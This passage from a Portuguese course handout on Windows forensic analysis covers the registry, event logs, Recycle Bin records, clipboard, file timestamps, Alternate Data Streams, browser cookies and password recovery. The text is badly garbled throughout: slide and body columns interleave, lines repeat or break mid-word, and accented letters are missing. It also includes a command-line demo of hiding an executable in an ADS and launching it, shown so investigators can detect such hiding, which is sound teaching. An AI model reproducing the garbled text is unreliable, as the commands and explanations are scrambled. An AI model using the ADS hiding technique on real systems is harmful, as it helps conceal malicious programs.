extenso varivel. Esses tipos de dados incluem
variveis que so resolvidas quando um programa
ou servio usa os dados.

\\REG_MULTI_SZ Seqncia mltipla. Valores que contm listas ou valores


mltiplos em um formato que as pessoas conseguem ler so geralmente deste
tipo. As entradas so separadas por espaos, vrgulas ou outras pontuaes.

\\REG_SZ Seqncia de texto com extenso fixa.

\\REG_RESOURCE_LIST Srie de matrizes para armazenar lista de recursos


usada por driver de dispositivo de hardware ou pelos dispositivos fsicos
controlados por ele. Esses dados so detectados e gravados pelo sistema
na rvore \ResourceMap e exibidos no Editor do Registro em formato
hexadecimal como valores binrios.

\\REG_RESOURCE_REQUIREMENTS_LIST Srie de matrizes criadas para


armazenar uma lista de drivers de dispositivos de possveis recursos de
hardware que o driver ou um dos dispositivos fsicos que ele controla possam
usar. O sistema grava um subconjunto desta lista na rvore \ResourceMap.
Estes dados so detectados pelo sistema e exibidos no Editor do Registro em
formato hexadecimal como valores binrios.

Anlise forense avanada em Windows (parte 2)


162
Escola Superior de Redes RNP

\\REG_FULL_RESOURCE_DESCRIPTOR Srie de matrizes para armazenar


lista de drivers de dispositivo de hardware. Tambm projetadas para
armazenar uma lista de recursos usada por um dispositivo fsico de
hardware. Esses dados so detectados e gravados pelo sistema na rvore \
HardwareDescription e exibidos no Editor do Registro em formato hexadecimal
como valores binrios.

\\REG_NONE Dados sem um tipo especfico, gravados pelo sistema ou


pelos aplicativos no registro e exibidos no Editor do Registro em formato
hexadecimal como valores binrios.

\\REG_QWORD Dados representados por um nmero que seja um inteiro


de 64 bits, exibidos no Editor do Registro como valores binrios. Foram
introduzidos pela primeira vez no Windows 2000.

Cpia do registro:
Coleta de informaes em registros do
Windows D:\IR\xp> regdmp > d:\tmp\registry.txt8
Cpia do registro:
D:\IR\xp> regdmp > d:\tmp\registry.txt D:\IR\xp> reg query HKCU\Software /s > d:\tmp\regis
D:\IR\xp> reg query HKCU\Software /s > d:\tmp\registry_HKCU.txt try_HKCU.txt8
Principais buscas nos registros:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce Principais buscas nos registros:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curre
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce ntVersion\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curre
HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\TypedURLs ntVersion\RunOnce
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32\OpenSaveMRU\* HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curre
ntVersion\RunServices
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curre
ntVersion\RunServicesOnce
HKEY_CURRENT_USER\Software\Microsoft\Windows\Curren
tVersion\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\Curren
tVersion\RunOnce
HKEY_CURRENT_USER\Software\Microsoft\Windows\Curren
tVersion\RunServices
HKEY_CURRENT_USER\Software\Microsoft\Windows\Curren
tVersion\RunServicesOnce
HKEY_CURRENT_USER\Software\Microsoft\Internet Explo
rer\TypedURLs
HKEY_CURRENT_USER\Software\Microsoft\Windows\Curren
tVersion\Explorer\RunMRU
HKCU\Software\Microsoft\Windows\CurrentVersion\Expl
orer\ComDlg32\OpenSaveMRU\*

Para realizar uma cpia em formato de texto do registro do Windows podemos utilizar a
ferramenta regdmp.exe. necessrio direcionar a sada do comando para um arquivo.

O arquivo gerado nos permite realizar uma srie de buscas em chaves conside-
radas importantes para o processo de coleta de informaes. Podemos realizar
consultas a chaves especficas ou a um diretrio inteiro dentro do registro.

Anlise forense Sesso de aprendizagem 10


163

Podemos ver que a ferramenta permite realizar pesquisas por texto ou por uma faixa
de datas de modificao de alguma das chaves. interessante para achar modifica-
es recentes no registro, causadas por algum vrus ou ferramenta de rootkit.

Uma forma adicional de realizar a cpia do registro utilizando o aplicativo dum-


preg.exe. Esta ferramenta permite realizar a cpia das seguintes chaves de registro:

\\HKEY_LOCAL_MACHINE

\\HKEY_USERS

\\HKEY_CURRENT_USER

Anlise forense avanada em Windows (parte 2)


164
Escola Superior de Redes RNP

Uma funcionalidade permite navegar nos dados ordenados por tempo, o que
possibilita verificar mais facilmente em um determinado momento as chaves que
foram modificadas.

Coleta de registros de eventos (logs)


Coleta de registros de eventos (logs)

O sistema Windows possui uma srie de registros de


EventLogs: arquivos de log do Windows
Application eventos, que diferentemente do Linux so gravados
Contm os registros enviados por programas e aplicativos. em formato binrio e, portanto, necessitam de ferra-
Security mentas especiais para acessar seu contedo.
Contm os registros de segurana relacionados com
tentativas de acesso ao terminal do sistema e violao de
privilgios. Alm dos arquivos de log acima citados podem existir
System
ainda outros trs:
Contm os registros relacionados com o sistema e hardware;
se um servio no for inicializado corretamente ser gerado
um alerta. \\Directory Service Log (quando o sistema for um
controlador de domnio)

\\FileReplication Service Log (quando o sistema for


um controlador de domnio)

\\DNS Server Log (quando o sistema for um


servidor de DNS)

Outros processos do sistema podem criar arquivos de logs especficos, tal como
ferramentas de antivrus ou firewall.

D:\IR\xp> dir c:\windows\system32\config\*.evt8


Coleta de registros de eventos (logs) Directory of c:\windows\system32\config
06/01/2008 14:42 65.536 Antiviru.evt
EventLogs: arquivos de log do Windows 29/01/2008 05:11 65.536 Antivirus.Evt
Da mesma forma que os arquivos de registro, os arquivos de 29/01/2008 05:11 524.288 AppEvent.Evt
log esto armazenados no diretrio c:\windows\system32\config 24/10/2006 19:23 65.536 Internet.evt
e possuem a terminao .evt .
29/01/2008 05:11 524.288 SecEvent.Evt
D:\IR\xp> dir c:\windows\system32\config\*.evt 29/01/2008 05:11 524.288 SysEvent.Evt
Directory of c:\windows\system32\config
06/01/2008 14:42 65.536 Antiviru.evt
29/01/2008 05:11 65.536 Antivirus.Evt
29/01/2008 05:11 524.288 AppEvent.Evt
24/10/2006 19:23 65.536 Internet.evt
29/01/2008 05:11 524.288 SecEvent.Evt
29/01/2008 05:11 524.288 SysEvent.Evt

Anlise forense Sesso de aprendizagem 10


165

Registro de eventos:
Coleta de registros de eventos (logs)
D:\IR\xp> psloglist8
Registro de eventos System log on \\COMPUTADOR:
D:\IR\xp> psloglist
System log on \\COMPUTADOR: [494907] WinDefend
[494907] WinDefend
Type: INFORMATION
Type: INFORMATION
Computer: COMPUTADOR Computer: COMPUTADOR
Time: 30/1/2008 20:03:49 ID: 2000
Windows Defender signature version has been updated.
Time: 30/1/2008 20:03:49 ID: 2000
Current Signature Version: 1.24.6025.0 Windows Defender signature version has been updated.
Previous Signature Version: 1.24.5865.0
Update Source: User Current Signature Version: 1.24.6025.0
Signature Type: AntiSpyware Previous Signature Version: 1.24.5865.0
Update Type: Delta
User: COMPUTADOR\Usuario Update Source: User
Current Engine Version: 1.1.3109.0 Signature Type: AntiSpyware
Previous Engine Version: 1.1.3109.0
Update Type: Delta
User: COMPUTADOR\Usuario
Current Engine Version: 1.1.3109.0
Previous Engine Version: 1.1.3109.0

Podemos verificar que os registros de evento em um sistema Windows so bem


diferentes dos logs que costumamos ver em um sistema Linux. Mesmo assim eles
so importantes fontes de informao sobre os acontecimentos no sistema.

Devido ao fato de serem arquivos binrios, so muito mais difceis de modificar


pelos invasores que tentam esconder suas atividades.

Registro de eventos:
Coleta de registros de eventos (logs)
D:\IR\xp> ..\2k\res_kit\dumpel /?8
Registro de eventos DUMPEL Usage:
D:\IR\xp> ..\2k\res_kit\dumpel /? dumpel -f file [-s \\server] [-l log [-m source]] [-
DUMPEL Usage: e n1 n2 n3..] [-r] [-t] [-dx]
dumpel -f file [-s \\server] [-l log [-m source]] [-e n1 n2 n3..] [-r] [-t] [-
dx] -d <days> Filters for event last days (number larg
-d <days> Filters for event last days (number larger than zero)
-e nn Filters for event id nn (up to 10 may be specified)
er than zero)
-f <filename> Output filename (default stdout)
-l <name> Dumps the specified log (system, application, security)
-e nn Filters for event id nn (up to 10 may be spe
-b Dumps a backup file (use -l to specify file name) cified)
-m <name> Filters for events logged by name
-r Filters out events logged by name (must use -m too)
-f <filename> Output filename (default stdout)
-s <servername> Remote to servername
-l <name> Dumps the specified log (system, applicat
-t Use tab to separate strings (default is space)
-c Use comma to separate fields ion, security)
-ns Do not output strings
-format <fmt> Specify output format.
-b Dumps a backup file (use -l to specify file name)
-m <name> Filters for events logged by name
-r Filters out events logged by name (must use -m t
oo)
-s <servername> Remote to servername
-t Use tab to separate strings (default is space)
-c Use comma to separate fields
-ns Do not output strings
-format <fmt> Specify output format.

Repare que a ferramenta mostrada no slide no est no caminho padro do prompt


de comandos, tendo sido necessrio especificar o caminho completo para ele.

Observe que a ferramenta bem verstil, permitindo restringir as consultas por


data, padres de texto, alm de permitir formatar a sada da maneira que o inves-
tigador quiser.

Anlise forense avanada em Windows (parte 2)


166
Escola Superior de Redes RNP

Inclusive, possvel especificar o separador de cada campo, o que permite


carregar o log posteriormente em uma base de dados e desta forma facilitar as
consultas aos eventos.

Registro de eventos:
Coleta de registros de eventos (logs)
D:\IR\xp> dumpevt /logfile=app /all /outfile=\tmp\evt
dump.txt8
Registro de eventos
D:\IR\xp> dumpevt /logfile=app /all /outfile=\tmp\evtdump.txt
Somarsoft DumpEvt V1.7.3, Copyright 1995-1997 by S
Somarsoft DumpEvt V1.7.3, Copyright 1995-1997 by Somarsoft, Inc. omarsoft, Inc.
LogType=Application LogType=Application
Computer=(local)
SystemRoot=C:\WINDOWS Computer=(local)
Outfile=\tmp\evtdump.txt SystemRoot=C:\WINDOWS
Use HKEY_CURRENT_USER for saving record number
Format=yes Outfile=\tmp\evtdump.txt
DateFormat=(locale dependent)
TimeFormat=HH':'mm':'ss
Use HKEY_CURRENT_USER for saving record number8
FieldSeparator=, Format=yes
ReplaceFieldSeparator= (blank)

DateFormat=(locale dependent)
TimeFormat=HH:mm:ss
FieldSeparator=,
ReplaceFieldSeparator= (blank)

Permite especificar o tipo de log que desejamos coletar, gerando uma sada j
formatada para ser inserida em uma base de dados.

O arquivo gerado por este comando poder ser ento importado em uma base de
dados como um arquivo CSV separado por vrgulas, o que pode facilitar a anlise
dos eventos, que muitas vezes contm milhares de linhas.

Existe uma ferramenta disponvel no kit que no serve exclusivamente para visuali-
zao de logs de eventos, embora tambm tenha esta funcionalidade.

Esta ferramenta serve para realizar uma auditoria completa no sistema, e permite
visualizar informaes sobre logs de eventos, instalaes de programas e atualiza-
es do Windows, alm de informaes gerais sobre o sistema.

Anlise forense Sesso de aprendizagem 10


167

Anlise de contedo do Recycle.Bin


Anlise de contedo do Recycle.Bin

Quando os arquivos so removidos, so enviados


Os arquivos removidos so enviados para uma pasta
oculta representada no desktop pelo cone de uma para uma pasta oculta representada no desktop pelo
lixeira. cone de uma lixeira. Existe um diretrio RECYCLER
Existe um diretrio RECYCLER em cada partio do
disco da mquina. em cada partio do disco da mquina. Dentro deste
Dentro deste diretrio existem subdiretrios cujos diretrio existem subdiretrios cujos nomes so as
nomes so as identificaes de segurana do usurio identificaes de segurana do usurio (SID). Com
(SID).
Com a informao disponvel possvel identificar qual a informao disponvel possvel identificar qual
usurio removeu um arquivo especfico. usurio removeu um arquivo especfico.
Dentro do subdiretrio representado pelo SID existem
sempre dois arquivos: desktop.ini e INFO2.
Dentro do subdiretrio representado pelo SID exis-
tem sempre dois arquivos: desktop.ini e INFO2.
Quando um arquivo apagado atravs do Windows Explorer, ele movido para o
diretrio RECYCLER com um nome diferente do original. Por exemplo, o arquivo
teste.txt quando apagado se transforma em Dc1.txt, ou seja, o arquivo removido
tem origem no drive C, e o primeiro arquivo removido, com extenso .txt.

D:\IR\xp> dir /a c:\RECYCLER\S-1-5-21-4042056708-2335835806-3410500470-10068


17/01/2008 00:05 389 Dc1
01/12/2007 14:50 83 Dc2.txt
29/01/2008 14:42 65 desktop.ini
30/01/2008 22:10 1.620 INFO2

D:\IR\xp> sid2user 5 21 4042056708 2335835806 3410500470 10068


Name is Usuario
Domain is COMPUTADOR
Type of SID is SidTypeUser
Recycle.Bin
Podemos dizer que o segundo arquivo apagado presente neste diretrio um
arquivo originalmente com extenso .txt, e que o primeiro no tem extenso.

No kit de ferramentas existe um aplicativo chamado sid2user.exe, que permite


converter o SID para o nome do usurio do sistema. Com isso, podemos identifi-
car o usurio que apagou os arquivos.

D:\IR\xp> rifiuti c:\RECYCLER\S-1-5-21-4042056708-


Anlise de contedo do Recycle.Bin 2335835806-3410500470-1006\INFO28

Recycle.Bin INFO2 File: c:\RECYCLER\S-1-5-21-4042056708-


2335835806-3410500470-1006\INFO2
D:\IR\xp> rifiuti c:\RECYCLER\S-1-5-21-4042056708-2335835806-
3410500470-1006\INFO2

INFO2 File: c:\RECYCLER\S-1-5-21-4042056708-2335835806-3410500470-


INDEX DELETED TIME DRIVE NUMBER PATH SIZE
1006\INFO2 1 Tue Jan 29 20:21:58 2008 2 C:\s9k
INDEX DELETED TIME DRIVE NUMBER PATH SIZE
4096
1 Tue Jan 29 20:21:58 2008 2 C:\s9k 4096 2 Thu Jan 31 00:10:42 2008 2
2 Thu Jan 31 00:10:42 2008 2 C:\dump.txt 4096 C:\dump.txt 4096

Existe uma ferramenta no kit que permite listar as


informaes presentes no arquivo INFO2 em um
formato inteligvel, e dessa forma descobrir o nome
original dos arquivos.

Anlise forense avanada em Windows (parte 2)


168
Escola Superior de Redes RNP

Anlise de contedo do Clipboard


Anlise de contedo do Clipboard

O contedo da rea de transferncia uma evidncia


O contedo da rea de transferncia ou clipboard
uma evidncia normalmente esquecida pelo quase sempre esquecida pelo investigador, que pode
investigador conter informaes importantes sobre o uso recente
Existem trs tipos principais de informao que do equipamento analisado; tambm conhecido como
podem ser copiadas atravs da rea de transferncia:
textos, imagens ou tabelas e arquivos clipboard, pode conter informaes importantes
Para verificar se existem arquivos na rea de esquecidas por algum usurio recente.
transferncia, pode-se usar o Explorer para colar o
contedo da rea de transferncia em um diretrio
Existem trs tipos principais de informao que podem
Para objetos complexos, possvel colar o contedo
em um documento aberto no WordPad
ser copiadas atravs da rea de transferncia: textos,
objetos complexos como imagens ou tabelas e arquivos.

Para verificar se existem arquivos na rea de transferncia, pode-se usar o Explorer


para colar o contedo da rea de transferncia em um diretrio. Para objetos
complexos, possvel colar o contedo em um documento aberto no WordPad.

Infelizmente, a ferramenta para verificao da rea


Anlise de contedo do Clipboard
de transferncia que existe no kit de ferramentas
permite mostrar somente textos que estejam na rea
Clipboard
de transferncia.
D:\IR\xp> pclip
Informacoes de cartao de credito:
1234-1234-1234-1111
1234-1234-1234-1113
1234-1234-1234-1112

Anlise de contedo de arquivos


Anlise de contedo de arquivos

Informaes sobre arquivos Informaes sobre arquivos:


D:\IR\xp> mac -d c:\windows
MAC.pl
Collect MAC times and owner from files in a directory.
D:\IR\xp> mac -d c:\windows8
By default, search starts at current dir, looking at all files.
MAC.pl
NOTE: Beginning and end of search are timestamped. Output is in CSV
format Collect MAC times and owner from files in a directory.
for easy opening in Excel.
By default, search starts at current dir, looking a
Start search,1201742514,Wed Jan 30 23:21:54 2008 t all files.
File,Size,Last Access,Last Modification,Creation
NOTE: Beginning and end of search are timestamped. O
c:\windows\0.log,0,BUILTIN\Administrators,Wed Jan 30 16:41:41 2008,Wed
Jan 30 16:41:41 2008,Wed Jan 9 08:19:37 2008 utput is in CSV format
c:\windows\accessories.ico,13942,,Wed Jan 9 02:42:12 2008,Tue Jan 6
15:00:10 2004,Sat May 10 22:50:09 2003
for easy opening in Excel.
c:\windows\AG-Rose.ico,5430,,Wed Jan 9 02:42:12 2008,Fri Jul 30
13:59:42 2004,Sat May 10 22:50:09 2003
Start search,1201742514,Wed Jan 30 23:21:54 2008
File,Size,Last Access,Last Modification,Creation
c:\windows\0.log,0,BUILTIN\Administrators,Wed Jan 3
0 16:41:41 2008,Wed Jan 30 16:41:41 2008,Wed Jan 9 0
8:19:37 2008
c:\windows\accessories.ico,13942,,Wed Jan 9
02:42:12 2008,Tue Jan 6 15:00:10 2004,Sat May 10
22:50:09 2003
c:\windows\AG-Rose.ico,5430,,Wed Jan 9 02:42:12
2008,Fri Jul 30 13:59:42 2004,Sat May 10 22:50:09
2003

Anlise forense Sesso de aprendizagem 10


169

A ferramenta acima permite extrair as informaes de tempo de acesso, modificao


e criao dos arquivos e format-las de forma a estarem prontas para serem
inseridas numa base ou abertas em uma planilha. Alm disso, ela lista o usurio
responsvel pela criao do arquivo.

Anlise de contedo de arquivos Informaes sobre arquivos:

D:\IR\xp> afind c:\windows\system328


Informaes sobre arquivos Searching...
D:\IR\xp> afind c:\windows\system32 c:\windows\system32\XPSViewer\en-us
Searching... Finished
c:\windows\system32\XPSViewer\en-us
Finished
D:\IR\xp> file -m ..\Cygwin\magic

c:\WINDOWS\NOTEPAD.EXE8
D:\IR\xp> file -m ..\Cygwin\magic
c:\WINDOWS\NOTEPAD.EXE  c:\WINDOWS\NOTEPAD.EXE: MS-DOS executable (EXE), OS
c:\WINDOWS\NOTEPAD.EXE: MS-DOS executable /2 or MS Windows
(EXE), OS/2 or MS Windows

A ferramenta permite procurar em um diretrio pelo


ltimo arquivo acessado. Esta informao pode ser
importante na anlise de um sistema que acabou de
ser comprometido.

Veja que listado acima o ltimo arquivo acessado dentro do diretrio especificado.
Alm disso, o comando permite examinar o ltimo acesso a um determinado arquivo,
ou listar arquivos acessados entre perodos determinados.

O comando file.exe presente no kit de ferramentas funciona basicamente como


sua verso Linux, mas necessrio especificar qual arquivo contm os padres
de reconhecimento do tipo de arquivo.

Informaes sobre arquivos:


Anlise de contedo de arquivos
D:\IR\xp> filestat c:\boot.ini8

Informaes sobre arquivos Dumping c:\boot.ini...


D:\IR\xp> filestat c:\boot.ini
SD is valid.
Dumping c:\boot.ini...
SD is valid.
SDs Owner is Not NULL
SD's Owner is Not NULL
SID = BUILTIN/Administrators S-1-5-32-544
SID = BUILTIN/Administrators S-1-5-32-544
SID = / (Account Unknown) S-1-5-21-1607551490-981732888-1819828000-513
SID = BUILTIN/Administrators S-1-5-32-544
SID = / (Account Unknown) S-1-5-21-1607551490-98173
ACE 0 is an ACCESS_ALLOWED_ACE_TYPE 2888-1819828000-513
ACE 0 mask = 0x001f01ff -R -W -X -D -DEL_CHILD -CHANGE_PERMS -TAKE_OWN
SID = NT AUTHORITY/SYSTEM S-1-5-18 SID = BUILTIN/Administrators S-1-5-32-544
ACE 1 is an ACCESS_ALLOWED_ACE_TYPE
ACE 1 mask = 0x001f01ff -R -W -X -D -DEL_CHILD -CHANGE_PERMS -TAKE_OWN ACE 0 is an ACCESS_ALLOWED_ACE_TYPE
Stream 1:
Stream name = ???$?? Size: 116 ACE 0 mask = 0x001f01ff -R -W -X -D -DEL_CHILD -
Stream 2:
Stream name = ???$?? Size: 211 CHANGE_PERMS -TAKE_OWN
Stream 3:
Stream name = ???$?? Size: 64 SID = NT AUTHORITY/SYSTEM S-1-5-18
Creation Time - 07/08/2004 10:51:38
Last Mod Time - 30/11/2007 11:32:08 ACE 1 is an ACCESS_ALLOWED_ACE_TYPE
Last Access Time - 30/01/2008 23:16:27
ACE 1 mask = 0x001f01ff -R -W -X -D -DEL_CHILD -
CHANGE_PERMS -TAKE_OWN
Stream 1:
Stream name = ???$?? Size: 116
Stream 2:
Stream name = ???$?? Size: 211
Stream 3:
Stream name = ???$?? Size: 64
Creation Time - 07/08/2004 10:51:38
Last Mod Time - 30/11/2007 11:32:08
Last Access Time - 30/01/2008 23:16:27

Anlise forense avanada em Windows (parte 2)


170
Escola Superior de Redes RNP

Veja que este comando produz informaes importantes sobre um arquivo, princi-
palmente sobre permisses de segurana e streams alternativos.

Recuperao de dados ocultos ADS


Recuperao de dados ocultos ADS

Alternate Data Streams (ADS) so dados associados


Ocultao de dados:
Alternate Data Streams (ADS) so dados associados a a arquivos. Como vimos anteriormente, um arquivo
arquivos em um sistema de arquivos NTFS definido por
So utilizados por programas maliciosos e rootkits
diversos atributos. Estes atributos extras so os cha-
para esconder informaes no sistema
Entretanto, sua origem e motivao so nobres: ADS mados ADS. O atributo Data, que define a rea onde
so utilizados para armazenar informaes extras o contedo do arquivo vai ser armazenado, pode ser
sobre um arquivo, como o Thumbnail de uma imagem
definido mais de uma vez.
ou o cone de um arquivo

ADS so utilizados por muitos programas maliciosos


e rootkits para esconder informaes no sistema.
Apesar disso, sua origem e motivao so nobres:
ADS so utilizados para armazenar informaes extras sobre um arquivo, como o
Thumbnail de uma imagem ou o cone de um arquivo.

Ocultao de dados:
Recuperao de dados ocultos ADS
D:\IR\xp> echo Este e um arquivo de textos > d:\tmp
Ocultao de dados: \file.txt8
D:\IR\xp> echo Este e um arquivo de textos > d:\tmp\file.txt

D:\IR\xp> dir d:\tmp\file.txt D:\IR\xp> dir d:\tmp\file.txt8


31/01/2008 00:40 30 file.txt
31/01/2008 00:40 30 file.txt
D:\IR\xp> echo Este e um stream ADS >
d:\tmp\file.txt:adsdata.txt

D:\IR\xp> dir d:\tmp\file.txt


31/01/2008 00:40 30 file.txt D:\IR\xp> echo Este e um stream ADS > d:\tmp\file.txt
:adsdata.txt8
D:\IR\xp> type d:\tmp\file.txt
Este e um arquivo de textos

D:\IR\xp> less < d:\tmp\file.txt:adsdata.txt


Este e um stream ADS
D:\IR\xp> dir d:\tmp\file.txt8
31/01/2008 00:40 30 file.txt

D:\IR\xp> type d:\tmp\file.txt8


Este e um arquivo de textos

Recuperao de dados ocultos ADS D:\IR\xp> less < d:\tmp\file.txt:adsdata.txt8


Este e um stream ADS
Ocultao de dados:
D:\IR\xp> type c:\windows\notepad.exe >
Como podemos observar, possvel armazenar
d:\tmp\file.txt:np.exe
dados atrelados ao arquivo original file.txt, sem que
D:\IR\xp> start d:\tmp\file.txt:np.exe estejam visveis e sejam detectados. A princpio no
D:\IR\xp> dir d:\tmp\file.txt existe limitao de nmero e tamanho para os arqui-
31/01/2008 00:43 30 file.txt
vos ADS, e inclusive possvel executar programas
que esto ocultos no ADS.

D:\IR\xp> type c:\windows\notepad.exe > d:\tmp\file.


txt:np.exe8

Anlise forense Sesso de aprendizagem 10


171

D:\IR\xp> start d:\tmp\file.txt:np.exe8

D:\IR\xp> dir d:\tmp\file.txt8


31/01/2008 00:43 30 file.txt

Ao realizar a ao descrita no slide veremos um notepad aberto na tela, e ao


verificar no Gerenciador de tarefas observaremos que o executvel um ADS; o
arquivo file.txt:adsdata.txt continua disponvel.

Quando o arquivo de origem removido (neste caso file.txt) no se pode mais


acessar os ADS que estavam a ele relacionados. No entanto, os dados continuam
no disco at serem eventualmente sobrescritos.

Em um sistema onde foram encontrados indcios do uso de ADS, pode ser neces-
srio realizar uma pesquisa completa na imagem do disco.

Ocultao de dados:
Recuperao de dados ocultos ADS
D:\IR\xp> ads d:\tmp8
Ocultao de dados: d:\tmp\teste.txt:adsdata.txt (23 bytes)
D:\IR\xp> ads d:\tmp
d:\tmp\teste.txt:adsdata.txt (23 bytes) d:\tmp\teste.txt:np.exe (69120 bytes)
d:\tmp\teste.txt:np.exe (69120 bytes)

D:\IR\xp> streams d:\tmp\* D:\IR\xp> streams d:\tmp\*8


d:\tmp\teste.txt:
:adsdata.txt:$DATA 23 d:\tmp\teste.txt:
:np.exe:$DATA 69120 :adsdata.txt:$DATA 23
D:\IR\xp> sfind d:\tmp
Searching...
:np.exe:$DATA 69120
d:\tmp
teste.txt:adsdata.txt Size: 23 D:\IR\xp> sfind d:\tmp8
teste.txt:np.exe Size: 69120
Searching...
Finished
d:\tmp
teste.txt:adsdata.txt Size: 23
teste.txt:np.exe Size: 69120
Finished

As ferramentas acima podem ser usadas para detectar a presena de ADS em


um arquivo ou diretrio. importante notar que alguns arquivos do sistema
contm ADS, como os arquivos Thumbs.db criados pelo Explorer, que precisam
disso para funcionar.

Anlise forense avanada em Windows (parte 2)


172
Escola Superior de Redes RNP

Anlise do histrico de navegao


Anlise do histrico de navegao

Histrico de navegao Histrico de navegao:


D:\IR\xp> pasco -d "c:\Documents and Settings\Usuario\Cookies\index.dat
D:\IR\xp> pasco -d c:\Documents and Settings\Usuar
History File: c:\Documents and Settings\hp\Cookies\index.dat io\Cookies\index.dat8
TYPE URL MODIFIED TIME ACCESS TIME FILENAME DIRECTORY
HTTP HEADERS
URL Cookie:hp@onlinestores.metaservices.microsoft.com
/serviceswitching/Thu Jan 10 04:00:46 2008 Wed Jan 30 23:56:31
History File: c:\Documents and Settings\hp\Cookies\
2008 hp@onlinestores.metaservices.microsoft[1].txt index.dat
URL Cookie:hp@rad.msn.com/ Thu Jan 10 11:59:48 2008 Thu Jan
31 03:28:55 2008 hp@rad.msn[1].txt URL
TYPE URL MODIFIED TIME ACCESS TIME FILENAME DIRECTO
URL Cookie:hp@ad.adnetwork.com.br/ Thu Jan 31 01:16:36 2008 RY HTTP HEADERS
Thu Jan 31 01:16:36 2008 hp@ad.adnetwork.com[1].txt
URL URL Cookie:hp@onlinestores.metaservices.microsoft.c
om /serviceswitching/Thu Jan 10 04:00:46 2008 Wed J
an 30 23:56:31 2008 hp@onlinestores.metaservices.mi
crosoft[1].txt
URL Cookie:hp@rad.msn.com/ Thu Jan 10 11:59:48 2008
Thu Jan 31 03:28:55 2008 hp@rad.msn[1].txt URL
URL Cookie:hp@ad.adnetwork.com.br/ Thu Jan 31 01:16
:36 2008 Thu Jan 31 01:16:36 2008 hp@ad.adnetwork.
com[1].txt URL
Anlise do histrico de navegao

Histrico de navegao Os histricos de navegao web e cookies armazena-


D:\IR\xp> galleta "C:\Documents and Settings\Usuario\Application dos podem fornecer informaes importantes sobre o
Data\Mozilla\Firefox\Profiles\1jwwc64n.default\cookies.txt"

Cookie File: C:\Documents and Settings\hp\Application


mau uso do sistema. Eles informam, por exemplo, se
Data\Mozilla\Firefox\Profiles\1jwwc64n.default\cookies.txt
um usurio visitou algum site no permitido ou capaz
SITE VARIABLE VALUE CREATION TIME EXPIRE TIME FLAGS

.google.com TRUE / FALSE 1262741102 PREF


de infectar a mquina com algum programa malicioso.
ID=66ce23137a6d713d:FF=
4:LD=en:NR=10:TM=1153453246:LM=1199669113:DV=AA:GM=1:IG=3:S=61TCN1UHJwM
0IeCa
il.google.com
60644
FALSE
.google.com
/mail
TRUE
FALSE 1348445213
/mail/ FALSE
gmailchat
1262402786 Sendo assim, importante para o investigador
__utmx
173272373.
1970
Thu Jan 1 00:00:00 1970 Thu Jan 1 00:00:00 coletar e analisar esse tipo de informao. Esta
.google.com TRUE /FALSE 1506634851 rememberme true
ferramenta permite listar o contedo do arquivo de
cookies do Internet Explorer, o que pode ser impor-
tante para identificar spywares ou acessos a sites
imprprios.

D:\IR\xp> galleta C:\Documents and Settings\Usuario\Application Data\Mozilla\F


irefox\Profiles\1jwwc64n.default\cookies.txt8

Cookie File: C:\Documents and Settings\hp\Application Data\Mozilla\Firefox\Prof


iles\1jwwc64n.default\cookies.txt

SITE VARIABLE VALUE CREATION TIME EXPIRE TIME FLAGS

.google.com TRUE / FALSE 1262741102 PREF


ID=66ce23137a6d713d:FF=
4:LD=en:NR=10:TM=1153453246:LM=1199669113:DV=AA:GM=1:IG=3:S=61TCN1UHJwM0IeCa v
il.google.com FALSE /mail FALSE 1348445213 gmailchat
60644 .google.com TRUE /mail/ FALSE 1262402786 __utmx v
173272373. Thu Jan 1 00:00:00 1970 Thu Jan 1 00:00:00 1970
.google.com TRUE /FALSE 1506634851 rememberme true

Para coletar a mesma informao, mas de sistemas que utilizem o Mozilla ou


Firefox, podemos usar a ferramenta galleta.exe.

Anlise forense Sesso de aprendizagem 10


173

Como podemos observar nos exemplos do slide, as sadas de ambas as ferra-


mentas utilizam um formato parecido, com campos separados por TAB, o que

Anlise do histrico de navegao


facilita a insero destes dados em uma tabela ou base de dados.

No slide podemos observar os cookies, com respectivas datas de criao, modifi-


cao e acesso, e os valores correspondentes.

Anlise do histrico de navegao


Usando a ferramenta MozillaCookiesView ,observamos que os valores so mostra-
dos nas colunas, junto com outras informaes sobre cada cookie.

Anlise forense avanada em Windows (parte 2)


174
Escola Superior de Redes RNP

Uma caracterstica interessante da ferramenta IEHistoryView que ela lista no


somente os sites visitados; como no Windows o Internet Explorer faz parte do
sistema, qualquer acesso a arquivos feito pelo Explorer tambm conta como um
site, e esta informao mostrada acima, como podemos ver pelas URLs que
comeam por file:// .

Recuperao de senhas
Recuperao de senhas

Para finalizar nosso curso, vamos conhecer as


Ferramentas do kit para recuperao de senhas de
diversos servios do Windows e de aplicativos ferramentas presentes no kit que permitem ao inves-
instalados. tigador recuperar senhas de diversos servios do
As ferramentas expem informaes privativas dos
Windows e de aplicativos instalados. Tais ferramen-
usurios do computador, que podem no fazer parte da
investigao. tas expem informaes privativas dos usurios do
Por isso, o investigador deve ter conscincia da computador, e muitas vezes este tipo de informao
importncia de manter estas informaes sob sigilo, e
pode no fazer parte do objetivo da investigao.
no utiliz-las para qualquer finalidade que no seja uma
ao direta da investigao. Por isso, o investigador deve ter conscincia da
O computador em uso no deve utilizar senhas importncia de manter estas informaes sob sigilo,
pessoais.
e no utiliz-las para qualquer finalidade que no seja
a de uma ao direta da investigao.

Devemos ter conscincia de que o computador utilizado compartilhado com


diversos usurios e, portanto, no devemos utilizar senhas pessoais.

